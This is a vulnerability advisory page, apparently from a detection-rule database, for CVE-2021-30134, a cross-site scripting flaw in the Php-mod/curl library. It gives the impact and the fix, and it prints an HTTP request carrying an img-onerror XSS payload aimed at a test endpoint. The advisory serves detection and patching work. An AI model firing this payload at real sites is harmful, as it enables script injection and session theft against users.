🔙 목록으로 돌아가기

CVE-2021-30134: Php-mod/curl Library <2.3.2 - Cross-Site Scripting

TitlePhp-mod/curl Library <2.3.2 - Cross-Site Scripting
Authortheamanrawat
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement.
RemediationUpgrade to Php-mod/curl Library version 2.3.2 or later to mitigate the vulnerability.
CVSS Score6.1
EPSS Score0.03001
CVE IDCVE-2021-30134
CWE IDCWE-79
Tags cve2021 cve xss php-mod wpscan php_curl_class_project vuln

🔍 Vulnerability Description

Php-mod/curl library before 2.3.2 contains a cross-site scripting vulnerability via the post_file_path_upload.php key parameter and the POST data to post_multidimensional.php. An attacker can inject arbitrary script, which can allow theft of cookie-based authentication credentials and launch of other attacks.

🌐 HTTP Request

GET /vendor/curl/curl/tests/server/php-curl-test/post_file_path_upload.php?key=<img%20src%20onerror%3dalert(document.domain)> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.5 Safari/605.9.17
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-30134.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-30134.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A